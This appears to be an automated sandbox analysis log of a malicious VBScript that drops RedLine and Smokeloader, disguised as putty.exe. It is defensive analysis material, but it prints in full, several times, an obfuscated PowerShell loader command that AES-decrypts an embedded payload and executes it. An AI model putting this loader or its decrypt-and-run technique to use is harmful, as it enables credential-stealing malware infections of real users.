Source: 00000004.00000002.1635941173.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.1858608967.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.1858660361.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.1636678804.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 6012, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: putty.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: edrecib.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@7/5@4/2

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 4_2_00541CC0 CreateToolhelp32Snapshot,Module32First,

4_2_00541CC0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\putty.exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3964:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ydy13bbf.zhu.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: #U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\edrecib C:\Users\user\AppData\Roaming\edrecib
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\edrecib	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\putty.exe	Unpacked PE file: 4.2.putty.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\edrecib	Unpacked PE file: 7.2.edrecib.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell.exe -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -spl", "0", "true");

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3)			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4AD200BD pushad ; iretd	2_2_00007FFB4AD200C1
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_00401068 push ebp; iretd	4_2_0040106E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_004010B4 push ss; ret	4_2_004010B5
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_00542816 push ss; ret	4_2_00542817
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_00542F0A push es; iretd	4_2_00542F0B
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_0054922C push esi; retf	4_2_0054922D
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_005427CA push ebp; iretd	4_2_005427D0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_0054478C push ebx; ret	4_2_00544792
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_00546CA2 push ds; ret	4_2_00546CB5
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_005F111B push ss; ret	4_2_005F111C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_005F18DC push es; iretd	4_2_005F18DD
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 4_2_005F10CF push ebp; iretd	4_2_005F10D5
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_00401068 push ebp; iretd	7_2_0040106E
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_004010B4 push ss; ret	7_2_004010B5
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_00542816 push ss; ret	7_2_00542817
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_00542F0A push es; iretd	7_2_00542F0B
Source: C:\Users\user\AppData\Roaming\edrecib	Code function: 7_2_0054922C push esi; retf	7_2_0054922D
